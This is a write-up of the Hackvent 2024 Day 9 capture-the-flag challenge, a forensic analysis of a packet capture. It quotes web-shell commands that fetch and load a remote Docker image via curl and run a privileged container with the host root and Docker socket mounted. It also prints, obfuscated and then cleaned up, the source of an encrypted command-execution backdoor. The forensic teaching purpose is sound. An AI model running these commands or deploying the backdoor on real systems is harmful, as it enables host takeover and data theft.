Hackvent 2024: Day 9

Hackvent 202460

[HV24.09] Naughty and Nice

Santa's naughty and nice list seems to have been misused. He is worried that something has been stolen. Here is a pcap of when the attack took place, can you find out what was taken?

Download mirror: https://gofile.io/d/VWsBeg

Analyze the file and get the flag.
Flag format: HV24{}
sha256sum of santa.pcap: 1aa2601a19adbee6b4161853bdd250248b79fe019da2ece81f2f940741ddc586

This challenge was written by bread. He ate all of Santa's bread, he must be on the naughty list.
Hackvent 2024 - Day 9 - Santa.pcap

Solution

Wireshark analysis

We are presented with a santa.pcap network capture file. We use Wireshark to open this capture file.

We notice there is traffic between three IP's in an internal private network.

The IP addresses are: 172.17.0.2, 172.17.0.3 and 172.17.0.4

The next thing we do is dump all HTTP objects via the File > Export Objects > HTTP option. This gives us several files:

$ ls -lah
total 90M
-rw-r--r-- 1 Mo 197610 7.5K Dec 14 15:48  %5c
-rw-r--r-- 1 Mo 197610 7.5K Dec 14 15:48 '%5c(1)'
-rw-r--r-- 1 Mo 197610 7.5K Dec 14 15:48 '%5c(2)'
-rw-r--r-- 1 Mo 197610 7.5K Dec 14 15:48 '%5c(3)'
-rw-r--r-- 1 Mo 197610 169K Dec 14 15:48 'background(1).jpg'
-rw-r--r-- 1 Mo 197610 169K Dec 14 15:48  background.jpg
-rw-r--r-- 1 Mo 197610 209K Dec 14 15:48 'banner(1).jpg'
-rw-r--r-- 1 Mo 197610 209K Dec 14 15:48  banner.jpg
-rw-r--r-- 1 Mo 197610  89M Dec 14 15:48  bread.tar
-rw-r--r-- 1 Mo 197610 7.5K Dec 14 15:48 'index(1).php'
-rw-r--r-- 1 Mo 197610   38 Dec 14 15:48 'shell.php%3fcmd=curl%20-sSL%20http%3A%2F%2F172.17.0.2%3A443%2Fbread.tar%20%7C%20docker%20load'
-rw-r--r-- 1 Mo 197610   76 Dec 14 15:48 'shell.php%3fcmd=docker%20run%20-d%20-v%20%2F%3A%2Fmnt%20--privileged%20-v%20%2Fvar%2Frun%2Fdocker.sock%3A%2Fvar%2Frun%2Fdocker.sock%20--name%20bread%20-p%201337%3A1337%20bread'
-rw-r--r-- 1 Mo 197610 8.6K Dec 14 15:48 'shell.php%3fcmd=docker+inspect+bread'
-rw-r--r-- 1 Mo 197610  933 Dec 14 15:48 'shell.php%3fcmd=docker+ps'
-rw-r--r-- 1 Mo 197610   20 Dec 14 15:48 'shell.php%3fcmd=whoami'

We appreciate the nice bread and Christmas themed background.jpg and move on. 😊

There are several requests to a shell.php file. The cmd argument provides some URI encoded command to execute and the file contents include the output.

We observe the following commands were executed:

$ curl -sSL http://172.17.0.2:443/bread.tar | docker load


$ docker run -d -v /:/mnt --privileged -v /var/run/docker.sock:/var/run/docker.sock --name bread -p 1337:1337 bread


$ docker inspect bread


$ docker ps


$ whoami

This tells us the user retrieved a bread.tar file and loaded the image into Docker. They then ran a docker container from this image and exposed it on port 1337. From the Docker inspect command we see that the image runs a python /app/challenge.py command on start up. This container was running on the 172.17.0.4 IP address.

We also notice that index(1).php contains a list of naughty and nice security researchers. All the files named %5c are identical and have similar contents to index(1).php with the only difference being that bread (the maker of rubik cube ctf challenges) is present in the naughty list section of the index(1).php, although this is not relevant.

The files we extracted from earlier include the bread.tar so we can load it up on a local Docker instance and retrieve the challenge.py file:

$ cat bread.tar | docker load

$ docker run -d -v "C:\Users\Mo\Documents\CTF\Hacking-Lab\Hackvent\2024\day 9\mnt":/mnt --privileged -v //./pipe/docker_engine:/var/run/docker.sock --name bread -p 1337:1337 bread

After spawning the container, we successfully recover challenge.py.

Deobfuscating challenge.py

Inspecting the challenge.py reveals heavily obfuscated Python code:

_0x_j34f = getattr
_0x_k92l = __import__
_0x_m78x = lambda _: ''.join(map(lambda __: chr(__), _))
def _0x(_0x15d47, _0x98d42): return _0x_j34f(_0x_k92l(_0x_m78x(_0x15d47)), _0x_m78x(_0x98d42))
_0x1b7e = _0x([98, 97, 115, 101, 54, 52], [98, 54, 52, 101, 110, 99, 111, 100, 101])
_0x1234 = _0x_m78x([95, 95, 110, 97, 109, 101, 95, 95]) 
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = _0x_m78x([111, 112, 101, 110, 115, 115, 108, 32, 101, 110, 99, 32, 45, 100, 32, 45, 97, 101, 115, 45, 50, 53, 54, 45, 101, 99, 98, 32, 45, 98, 97, 115, 101, 54, 52, 32, 45, 107])
_0x46233 = _0x_m78x([114, 101, 97, 100])
_0x4501 = _0x_m78x([97, 99, 99, 101, 112, 116])
_0xa230f = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 117, 112, 112, 101, 114, 99, 97, 115, 101])
_0x5678 = _0x_m78x([95, 95, 109, 97, 105, 110, 95, 95]) 
_0x1b3d7 = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 108, 111, 119, 101, 114, 99, 97, 115, 101])
_0x1215b = _0x_m78x([95, 48, 120, 53, 51, 52, 107, 50, 103]) 
_0x5d9a2 = _0x([115, 116, 114, 105, 110, 103], [100, 105, 103, 105, 116, 115])
_0x3b23 = _0x_m78x([111, 112, 101, 110])
_0x1a2b3 = _0x_m78x([47, 116, 109, 112, 47, 46, 98, 114, 101, 97, 100])
_0x58d1 = _0x_m78x([115, 112, 108, 105, 116])
_0x12482 = _0x([115, 117, 98, 112, 114, 111, 99, 101, 115, 115], [99, 104, 101, 99, 107, 95, 111, 117, 116, 112, 117, 116])
_0x3a65 = _0x_m78x([112, 114, 105, 110, 116])
_0x4d5e6 = _0x_m78x([101, 99, 104, 111])
_0x7f83 = _0x([115, 111, 99, 107, 101, 116], [115, 111, 99, 107, 101, 116])
_0x3c4d5 = _0x_m78x([48, 46, 48, 46, 48, 46, 48])
_0x4a32 = _0x_m78x([115, 101, 110, 100])
_0x7c91 = _0x_m78x([119, 114, 105, 116, 101])
_0x1d78 = _0x_m78x([98, 105, 110, 100])
_0x4623 = _0x_m78x([95, 48, 120, 50, 51, 107, 106, 103, 52])
_0x6b01 = _0x_m78x([108, 105, 115, 116, 101, 110])
_0xj65b4 = {
    _0x_m78x([115, 104, 101, 108, 108]): len(list(filter(lambda _: _ != '', "a"))),
    _0x_m78x([116, 101, 120, 116]): len(list(filter(lambda _: _ != '', "a"))),
}
class Str(str):
    def _0x2323(self): return self.encode()
class _0x3434(bytes):    
    def __init__(self, _): self._ = _.decode()
    def __str__(self) -> str: return self._
def _0x2a3f(_0x3a1e): return str(_0x3434(_0x1b7e(_0x3a1e._0x2323())))
def _0x6432a(_,Σ): return (_&~Σ)|(~_&Σ)
def _0x1a1b(_0x3a1e, _0x2b2c):
    _0x4f5d = list(*())
    _0x6d8f = iter(range(len(_0x3a1e)))
    for _0x5d7e in _0x6d8f:
        (_0x5c5b, _0x6d6b) = (_0x3a1e[_0x5d7e], _0x3a1e[next(_0x6d8f, _0x5d7e)] if _0x5d7e + len(list(filter(lambda _: _ != '', "a"))) < len(_0x3a1e) else _0x3a1e[_0x5d7e])
        _0x4f5d.extend([chr(_0x6432a(ord(_0x5c5b), ord(_0x2b2c[_0x5d7e % len(list(filter(lambda _: _ != '', "ab")))])))]); 
        _0x4f5d.extend([chr(_0x6432a(ord(_0x6d6b), ord(_0x2b2c[(_0x5d7e + len(list(filter(lambda _: _ != '', "a")))) % len(list(filter(lambda _: _ != '', "ab")))])))]); 
    _0x2d8c = list(*())
    [_0x2d8c.extend([_0x4f5d[_0x5d7e + len(list(filter(lambda _: _ != '', "a")))], _0x4f5d[_0x5d7e]]) if _0x5d7e + len(list(filter(lambda x: x != '', "a"))) < len(_0x4f5d) else _0x2d8c.append(_0x4f5d[_0x5d7e]) for _0x5d7e in range(len(list(filter(lambda _: _ != '', ""))), len(_0x4f5d), len(list(filter(lambda _: _ != '', "ab"))))] 
    return ''.join(map(str, _0x2d8c))
def _0x9b67(data):
    _0x1f94 = ''.join(sum(map(lambda _: [_], [_0xa230f, _0x1b3d7, _0x5d9a2, '+/']), []))
    _0x8c13 = { _0x1f94[_0x8f0d]: (_0x8f0d // int(_0x1f94[-4]), _0x8f0d % int(_0x1f94[-4])) for _0x8f0d in range(len(_0x1f94)) }
    return ''.join(f"{_0x8c13[_0x7adf][int(_0x1f94[-12])]}{_0x8c13[_0x7adf][int(_0x1f94[-11])]}" for _0x7adf in data if _0x7adf != "=")
def _0x23kjg4(_0x246g5):
    _0x987yh54 = _0x246g5.recv(1024).strip().decode()
    try:  
        _, _0x45h4g, _0x23dd, __ = list(__builtins__.__dict__.values())[list(__builtins__.__dict__.values()).index(open)](_0x1a2b3).__getattribute__(_0x46233)().__getattribute__(_0x58d1)('|')
        #_, _0x45h4g, _0x23dd, __ = getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"))).index(_0x4623)])().__getattribute__(_0x58d1)('|')
        _0x25jybd = _0x12482(f"{_0x4d5e6} '{_0x987yh54}' | {_0x7f8g9} '{_0x45h4g}'", **_0xj65b4).encode()
        _0x48916b = _0x1a1b(_0x12482(_0x25jybd, **_0xj65b4), _0x23dd)
        _0xff23de = _0x2a3f(Str(_0x48916b))
        _0x712a6d = _0x9b67(_0xff23de)
        _0x_j34f(_0x246g5, list(dir(_0x246g5))[list(dir(_0x246g5)).index(_0x4a32)])(_0x712a6d.encode()+bytes([10]))
    except FileNotFoundError:
        getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"))).index(_0x7c91)])(f"{_0x987yh54}")
    except Exception as e:
        getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3a65)])(f"{e}")
    _0x246g5.close()
def _0x534k2g():
    _0x5b7c  = _0x7f83(len(list(filter(lambda x: x != '', "ab"))), len(list(filter(lambda x: x != '', "a"))))
    _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x1d78)])((_0x3c4d5, 1337))
    _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x6b01)])(len(list(filter(lambda x: x != '', "ab"))))
    while True:
        _0x8723bk2, _ = _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x4501)])()
        _0x9abc(_0x4623)(_0x8723bk2)
if _0x9abc(_0x1234) == _0x5678: _0x9abc(_0x1215b)()

We decide we need to deobfuscate this code. This is a slow and manual process, but also quite fun!

The process involves:

  • Simplifying each variable at the top of the file.
  • Replacing usages of these variables with simpler code.
  • Tackling each function independently and validating that the original function has the same outputs as the simplified version.

LLM assistance can be surprisingly helpful here if the scope remains small.

After some serious work, we have a decently deobfuscated challenge.py script:

# Definitions
_0x1b7e = getattr(__import__('base64'), 'b64encode')
_0x1234 = '__name__' 
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = 'open ssl -d -aes -ecb '
_0x46233 = 'read'
_0x4501 = 'accept'
_0xa230f = getattr(__import__('string'), 'ascii_uppercase')
_0x5678 = '__main__'
_0x1b3d7 = getattr(__import__('string'), 'ascii_lowercase')
_0x1215b = '_0x53k4kjg'
_0x5d9a2 = getattr(__import__('string'), 'digits')
_0x3b23 = 'open'
_0x1a2b3 = '/tmp/.bread'
_0x58d1 = 'split'
_0x12482 = getattr(__import__('subprocess'), 'check_output')
_0x3a65 = 'print'
_0x4d5e6 = 'echo'
_0x7f83 = getattr(__import__('socket'), 'socket')
_0x3c4d5 = '0.0.0.0'
_0x4a32 = 'send'
_0x7c91 = 'write'
_0x1d78 = 'bind'
_0x4623 = '_0x02x3'
_0x6b01 = 'listen'
_0xj65b4 = {
    'shell': len(list(filter(lambda _: _ != '', "a"))),
    'text': len(list(filter(lambda _: _ != '', "a"))),
}

# Deobfuscated code
class Str(str):
    def encode_to_bytes(self):
        return self.encode()

class ByteString(bytes):    
    def __init__(self, _):
        self._ = _.decode()

    def __str__(self) -> str:
        return self._

def _encode_to_base64(Str_object):
    return str(ByteString(base64.b64encode(Str_object.encode_to_bytes())))

def _xor(a, b):
    return a ^ b

def _openssl_output_modifier(openssl_process_output, unknown_xor_key):
    # Generate list of values from the output
    _list = []
    for index in range(0, len(openssl_process_output), 2): # Step size of 2
        _first_el = openssl_process_output[index]
        _second_el = openssl_process_output[index + 1] if index + 1 < len(openssl_process_output) else _first_el
        _list.extend([chr(_xor(ord(_first_el), ord(unknown_xor_key[index % 2])))])
        _list.extend([chr(_xor(ord(_second_el), ord(unknown_xor_key[(index + 1) % 2])))])
    
    # Swap every pair of consecutive elements
    _list2 = []
    for j in range(0, len(_list), 2):  # Step size of 2
        if j + 1 < len(_list):  # Check if the next item exists
            _list2.extend([_list[j + 1], _list[j]])
        else:
            _list2.append(_list[j])

    return ''.join(map(str, _list2))

def _base64_modifier(data):
    base64_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    base64_map = {char: (index // 8, index % 8) for index, char in enumerate(base64_charset)}
    return ''.join(f"{base64_map[char][0]}{base64_map[char][1]}" for char in data if char != "=")

def _0x23kjg4(socket):
    socket_input_data = socket.recv(1024).strip().decode()
    try:
        _, decryption_key, unknown_xor_key, __ = open('/tmp/.bread').read().split('|')
        openssl_process_output = subprocess.check_output(f"echo {socket_input_data} | openssl enc -d -aes -ecb -k {decryption_key}", shell=1, text=1).encode()
        modified_openssl_output = _openssl_output_modifier(subprocess.check_output(openssl_process_output, shell=1, text=1), unknown_xor_key)
        _base64_str = _encode_to_base64(Str(modified_openssl_output))
        _modified_base64_str = _base64_modifier(_base64_str)
        socket.send(_modified_base64_str.encode() + bytes([10])) # sends the encoded base64 string followed by a LF (newline)
    except FileNotFoundError:
        with open('/tmp/.bread', 'w') as file:
            file.write(socket_input_data)
    except Exception as e:
        print(e)
    socket.close()

def _0x534k2g():
    socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket.bind(('0.0.0.0', 1337))
    socket.listen(2)
    while True:
        client_socket, _ = socket.accept()
        globals()('_0x02x3')(client_socket)

if __name__ == '__main__':
    globals()['_0x53k4kjg']()

challenge.py Breakdown

Lets run through the code, section by section, to understand what it is doing.

def _0x534k2g():
    socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket.bind(('0.0.0.0', 1337))
    socket.listen(2)
    while True:
        client_socket, _ = socket.accept()
        globals()('_0x02x3')(client_socket)

We are running a socket server that will receive and send data to clients.

def _0x23kjg4(socket):
    socket_input_data = socket.recv(1024).strip().decode()
    try:
        _, decryption_key, unknown_xor_key, __ = open('/tmp/.bread').read().split('|')
        openssl_process_output = subprocess.check_output(f"echo {socket_input_data} | openssl enc -d -aes -ecb -k {decryption_key}", shell=1, text=1).encode()
        modified_openssl_output = _openssl_output_modifier(subprocess.check_output(openssl_process_output, shell=1, text=1), unknown_xor_key)
        _base64_str = _encode_to_base64(Str(modified_openssl_output))
        _modified_base64_str = _base64_modifier(_base64_str)
        socket.send(_modified_base64_str.encode() + bytes([10])) # sends the encoded base64 string followed by a LF (newline)
    except FileNotFoundError:
        with open('/tmp/.bread', 'w') as file:
            file.write(socket_input_data)
    except Exception as e:
        print(e)
    socket.close()

We receive some data via our socket. Then, we read the /tmp/.bread file and split on the | character. We discard the first and last parts. We keep the decryption_key and the unknown_xor_key (named unknown because we don't know what the data represents yet).

Next, we feed the socket data to openssl in AES ECB mode with the decryption key. The output is then sent to the _openssl_output_modifier before being encoded with base64 and being sent to _base64_modifier. Finally the resulting data is sent to the client via the socket with a 10 character which is a LINE FEED (or new line character).

To recap, our data pipeline looks like this:

  • Receive encrypted data from client.
  • Read the decryption_key and unknown_xor_key from /tmp/.bread.
  • Pass through _openssl_output_modifier.
  • Encode with base64.
  • Pass through _base64_modifier.
  • Send to client with new line character suffix (/n).

However, when we inspect our Docker container, we notice /tmp/.bread does not exist. If this file is missing, the code triggers the FileNotFoundError exception and the very first input sent to the socket will be written to the /tmp/.bread file.

def _openssl_output_modifier(openssl_process_output, unknown_xor_key):
    # Generate list of values from the output
    _list = []
    for index in range(0, len(openssl_process_output), 2): # Step size of 2
        _first_el = openssl_process_output[index]
        _second_el = openssl_process_output[index + 1] if index + 1 < len(openssl_process_output) else _first_el
        _list.extend([chr(_xor(ord(_first_el), ord(unknown_xor_key[index % 2])))])
        _list.extend([chr(_xor(ord(_second_el), ord(unknown_xor_key[(index + 1) % 2])))])
    
    # Swap every pair of consecutive elements
    _list2 = []
    for j in range(0, len(_list), 2):  # Step size of 2
        if j + 1 < len(_list):  # Check if the next item exists
            _list2.extend([_list[j + 1], _list[j]])
        else:
            _list2.append(_list[j])

    return ''.join(map(str, _list2))

This code is responsible for processing the openssl_process_output which is the deciphered message. It takes 2 characters at a time, and applies a XOR between that character and some character from the unknown_xor_key. The index determines which character is selected from the unknown_xor_key. Once we have our list of values, we then swap every pair of consecutive elements and return the final string.

def _base64_modifier(data):
    base64_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    base64_map = {char: (index // 8, index % 8) for index, char in enumerate(base64_charset)}
    return ''.join(f"{base64_map[char][0]}{base64_map[char][1]}" for char in data if char != "=")

This code mutates a base64 string. It created a map that maps a base64 character to a tuple of indexes.

This is the map that is generated:

{
   "A":(0, 0),
   "B":(0, 1),
   "C":(0, 2),
   "D":(0, 3),
   "E":(0, 4),
   "F":(0, 5),
   "G":(0, 6),
   "H":(0, 7),
   "I":(1, 0),
   "J":(1, 1),
   "K":(1, 2),
   "L":(1, 3),
   "M":(1, 4),
   "N":(1, 5),
   "O":(1, 6),
   "P":(1, 7),
   "Q":(2, 0),
   "R":(2, 1),
   "S":(2, 2),
   "T":(2, 3),
   "U":(2, 4),
   "V":(2, 5),
   "W":(2, 6),
   "X":(2, 7),
   "Y":(3, 0),
   "Z":(3, 1),
   "a":(3, 2),
   "b":(3, 3),
   "c":(3, 4),
   "d":(3, 5),
   "e":(3, 6),
   "f":(3, 7),
   "g":(4, 0),
   "h":(4, 1),
   "i":(4, 2),
   "j":(4, 3),
   "k":(4, 4),
   "l":(4, 5),
   "m":(4, 6),
   "n":(4, 7),
   "o":(5, 0),
   "p":(5, 1),
   "q":(5, 2),
   "r":(5, 3),
   "s":(5, 4),
   "t":(5, 5),
   "u":(5, 6),
   "v":(5, 7),
   "w":(6, 0),
   "x":(6, 1),
   "y":(6, 2),
   "z":(6, 3),
   "0":(6, 4),
   "1":(6, 5),
   "2":(6, 6),
   "3":(6, 7),
   "4":(7, 0),
   "5":(7, 1),
   "6":(7, 2),
   "7":(7, 3),
   "8":(7, 4),
   "9":(7, 5),
   "+":(7, 6),
   "/":(7, 7)
}

The character are then joined in the final string. For example, the base64 string dGVzdA== which encodes the plaintext test would turn into: 350625633500 where d is 35, G is 06, V is 25 and so on.

Retrieving the keys from pcap

Our next task is to find what the initial data that was sent to the socket was. We use this filter: ip.src==172.17.0.4 || ip.dst==172.17.0.4 && data to find relevant packets between the python challenge.py server and clients.

We discover the very first message sent to the server was these hex encoded bytes: 2d2b2d7c2e62726561642077617320686572652e7cf09f8d9ef09f94917c2d2b2d

Which as text is:

-+-|.bread was here.|🍞🔑|-+-

Retrieving the responses from pcap

We also want to collect all the responses the server sent to our client.
For example, the first response as bytes (hex) is: 373431313736323535373537303233373433313236333630343737313236343537343131373631343534333730323337343531313537363034373730363632340a

As ASCII: 7411762557570237431263604771264574117614543702374511576047706624

There are many packets with this data and they are sent as part of TCP streams. We manually collect them and store them in a data.hex file where every line contains a hex string representing the bytes in the TCP stream.

You can download that file here:

Hackvent 2024 - Day 9 - data.hex

Writing solve.py

At this stage, it is clear that we must write a solve script that can process each piece of data and reverse the data modification process. We just have to reverse each mutation in reverse order. This will give us the decrypted messages as plain text.

This is our final solve script:

# Hackvent 2024 - Day 9
# Mo Beigi
#
# Reverse the data modification process to get the deceypted message.

import base64

def reverse_base64_modifier(data):
    base64_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

    # Create the original base64_map
    base64_map = {char: (index // 8, index % 8) for index, char in enumerate(base64_charset)}

    # Create the inverse map using the correct unpacking
    inverse_base64_map = {(value[0], value[1]): key for key, value in base64_map.items()}

    # Use the inverse map to decode the data
    orig_base64 = ''.join(inverse_base64_map[(int(data[i:i+2][0]), int(data[i:i+2][1]))] for i in range(0, len(data), 2))

    # Check if the length is a multiple of 4
    padding_needed = len(orig_base64) % 4
    if padding_needed:
        orig_base64 += "=" * (4 - padding_needed)

    return orig_base64

# Helper function to undo openssl_output_modifier (un-XOR and swap)
def undo_openssl_output_modifier(data, xor_key):
    # Step 1: Swap consecutive pairs of characters
    _list = list(data)
    _swapped = []
    for j in range(0, len(_list), 2):
        if j + 1 < len(_list):
            _swapped.extend([_list[j + 1], _list[j]])  # Swap consecutive pairs
        else:
            _swapped.append(_list[j])

    # Step 2: Undo the XOR operation on the swapped data
    _decoded = []
    for index in range(0, len(_swapped), 2):
        first_el = _swapped[index]
        second_el = _swapped[index + 1] if index + 1 < len(_swapped) else first_el
        _decoded.append(chr(_xor(ord(first_el), ord(xor_key[index % len(xor_key)]))))
        _decoded.append(chr(_xor(ord(second_el), ord(xor_key[(index + 1) % len(xor_key)]))))

    return ''.join(_decoded)

def _xor(a, b):
    return a ^ b

def reverse_process(hex_data_list, bread_data_hex):
    # Step 1: Initialize and validate the bread data
    bread_data = bytes.fromhex(bread_data_hex)
    bread_parts = bread_data.decode().split('|')
    
    # Bread data should be: ['-+-', '.bread was here.', '🍞🔑', '-+-']
    if bread_parts[0] != '-+-' or bread_parts[-1] != '-+-' or bread_parts[1] != '.bread was here.' or bread_parts[2] != '🍞🔑':
        print("Invalid bread data format.")
        return
    
    # Step 2: Process each hex data from hex_data_list
    for hex_data in hex_data_list:
        # Convert the hex data to bytes
        raw_data = bytes.fromhex(hex_data)
        
        # Step 2a: Convert to string and remove trailing newline char
        raw_data_str = raw_data.decode().strip()
        
        # Step 2b: Reverse the _base64_modifier transformation
        base64_data = reverse_base64_modifier(raw_data_str)
        
        # Step 2c: Base64 decode
        decoded_data = base64.b64decode(base64_data).decode('utf-8')
        
        # Step 2d: Undo openssl_output_modifier (using bread_key as the xor key)
        decrypted_message = undo_openssl_output_modifier(decoded_data, bread_parts[2])
        
        # Step 2e: Print the decrypted message
        print(decrypted_message)

# Init hex data list
# This file contains a hex string per line for each TCP stream of data obtained from Wireshark
with open('data.hex', 'r') as f:
    hex_data_list = [line.strip() for line in f.readlines()]

# Initial message that configured '/tmp/.bread' file. Obtained from Wireshark
bread_data_hex = "2d2b2d7c2e62726561642077617320686572652e7cf09f8d9ef09f94917c2d2b2d"

# Reverse the process
reverse_process(hex_data_list, bread_data_hex)

Running the above script gives us the following output:

root


CONTAINER ID   IMAGE                  COMMAND                  CREATED              STATUS                PORTS                                                                                                             NAMES
6d9fba5f0e9d   bread                  "python /app/challen…"   20 seconds ago       Up 19 seconds         0.0.0.0:1337->1337/tcp, :::1337->1337/tcp                                                                         bread
ae8f6e8d452b   naughty-nice-php       "docker-php-entrypoi…"   About a minute ago   Up About a minute     8080/tcp, 0.0.0.0:8080->80/tcp, :::8080->80/tcp                                                                   naughty-nice-php
bccb71a4d5dc   unbound                "python3 -m http.ser…"   About a minute ago   Up About a minute     0.0.0.0:443->443/tcp, :::443->443/tcp                                                                             unbound
95323b34357c   pihole/pihole:latest   "/s6-init"               7 days ago           Up 3 days (healthy)   0.0.0.0:53->53/tcp, :::53->53/tcp, 0.0.0.0:80->80/tcp, 0.0.0.0:53->53/udp, :::80->80/tcp, :::53->53/udp, 67/udp   pihole

REPOSITORY         TAG       IMAGE ID       CREATED          SIZE
unbound            latest    be680fd32199   3 minutes ago    178MB
bread              latest    a050d71a89db   10 minutes ago   90.7MB
<none>             <none>    c6df08727188   25 hours ago     418MB
naughty-nice-php   latest    8d07938ebfe4   25 hours ago     1GB
hashicorp/vault    latest    197c8072f1e8   6 days ago       466MB
pihole/pihole      latest    7e2c1211ec99   4 months ago     311MB


[
    {
        "CreatedAt": "2024-11-26T21:15:44+11:00",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/vault/_data",
        "Name": "vault",
        "Options": null,
        "Scope": "local"
    }
]


total 28
drwxr-xr-x  4 root root  4 Nov 26 11:32 .
drwxr-xr-x 23 root root 27 Nov 13 08:09 ..
drwxr-x--- 20 1000 1000 28 Nov 26 11:17 bread
drwxr-xr-x  3 1001 1001  8 Nov 26 11:45 santa

total 44
drwxr-xr-x 3 1001 1001     8 Nov 26 11:45 .
drwxr-xr-x 4 root root     4 Nov 26 11:32 ..
-rw-r--r-- 1 1001 1001   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 1001 1001  3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 1001 1001   807 Mar 31  2024 .profile
-rwxr-xr-x 1 1001 1001 19842 Nov 26 11:43 backup.zip
-rw-r--r-- 1 1001 1001   901 Nov 26 11:33 santas.secrets
drwxr-xr-x 6 1000 1000     6 Nov 26 11:54 vault

UEsDBAoAAAAAAOkbdVkAAAAAAAAAAAAAAAAGABwAdmF1bHQvVVQJAAPWDj5nbp9FZ3V4CwABBOgD
AAAE6AMAAFBLAwQKAAAAAAAujHpZAAAAAAAAAAAAAAAADQAcAHZhdWx0L2NvbmZpZy9VVAkAA7hr
RWfhoEVndXgLAAEEZAAAAAToAwAAUEsDBBQAAAAIANmtelkZSr7Y7QAAAC0CAAAXABwAdmF1bHQv
Y29uZmlnL2xvY2FsLmpzb25VVAkAAxmnRWcZp0VndXgLAAEEZAAAAAToAwAAjVHLbsIwELzzFchn
Sh4HQPmVqrIWvCSWTIi8a1oJ5d9rL0nUmEuTizU7mpmdfW628VPEdw8tqmb7FEDAq3VrRNABuIuo
Kh4QHBdCWhijvMbdS9VZYuzRR/rnQsnk+DK8ecgAjPFIlKzKvfzNqS5LtXunsiNtLMFZ8rIPuOKM
WbyvKR4MVieXZNExD9QURVUfxaz6a6bcvdUOH+gS1eA5tPPE4DXVEKdAqJmFUR1O3Uy4uBBL8LqH
WwqnCHoG+pDyZs4NftYCx7pcBIKddppTB2P5P4dKqM6uFRehQhT28Zl1KWt6+M47nI66GX8BUEsD
BAoAAAAAAOkbdVkAAAAAAAAAAAAAAAALABwAdmF1bHQvbG9ncy9VVAkAA9YOPmfepkVndXgLAAEE
ZAAAAAToAwAAUEsDBAoAAAAAAAmuelkAAAAAAAAAAAAAAAALABwAdmF1bHQvZmlsZS9VVAkAA3Kn
RWdzp0VndXgLAAEEZAAAAAToAwAAUEsDBAoAAAAAAE6uelkAAAAAAAAAAAAAAAATABwAdmF1bHQv
ZmlsZS9sb2dpY2FsL1VUCQAD9KdFZwuyRWd1eAsAAQRkAAAABOgDAABQSwMECgAAAAAACa56WQAA
AAAAAAAAAAAAADgAHAB2YXVsdC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgzMy1kOTZiLTMxMjQt
YjdmNDYyMjJjMWRkL1VUCQADcqdFZwuyRWd1eAsAAQRkAAAABOgDAABQSwMECgAAAAAACa56WQAA
AAAAAAAAAAAAAEQAHAB2YXVsdC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgzMy1kOTZiLTMxMjQt
YjdmNDYyMjJjMWRkL29pZGNfdG9rZW5zL1VUCQADcqdFZwuyRWd1eAsAAQRkAAAABOgDAABQSwME
CgAAAAAAi656WQAAAAAAAAAAAAAAAE8AHAB2YXVsdC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgz
My1kOTZiLTMxMjQtYjdmNDYyMjJjMWRkL29pZGNfdG9rZW5zL25hbWVkX2tleXMvVVQJAANlqEVn
oahFZ3V4CwABBGQAAAAE6AMAAFBLAwQUAAAACACLrnpZTh/ZCTsBAABxAQAAVwAcAHZhdWx0L2Zp
bGUvbG9naWNhbC9hMTg2MTBmNy1hODMzLWQ5NmItMzEyNC1iN2Y0NjIyMmMxZGQvb2lkY190b2tl
bnMvbmFtZWRfa2V5cy9fZGVmYXVsdFVUCQADZahFZwuyRWd1eAsAAQRkAAAABOgDAAAVwUtygjAA
ANB9j+GWhXwN7YwLIlQ0oolAFHYI8g0YEAHp9O6dvvezoBF73RdfC+MfQfk0TJdXGo6X77GBZWJC
oalVqYHRo7BWtwdrgTmSIqmeFt7xUMvsPoEHTwZHZPhjam+rMxI4d/GjrUCfxejYAg8btuX6ELJt
QrfeO5WmeTKF5Q4Dk2RWKgtKil2nZv0s7ZnHWVev7EkpZk3I3xfuye5MBq4EerfrdBMnzuc9ZedN
7L+iFxwM1jeZL5KQRrGzsctQBXsVXU+ouzs6PHeF1JohVvuWye1eZfDkcD8L3LpSeGzmyKouHn9q
/pLKlMhKVTT7VZlJorPMyzYHVFNLQxupHhY6aShe1VhHzSMd1EM0EqU+B7drB7Lj2wt2NfTJnKeD
RwM56o+9qF83h7cGxKbTkETW68Xvxx9QSwMECgAAAAAACa56WQAAAAAAAAAAAAAAAEYAHAB2YXVs
dC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgzMy1kOTZiLTMxMjQtYjdmNDYyMjJjMWRkL29pZGNf
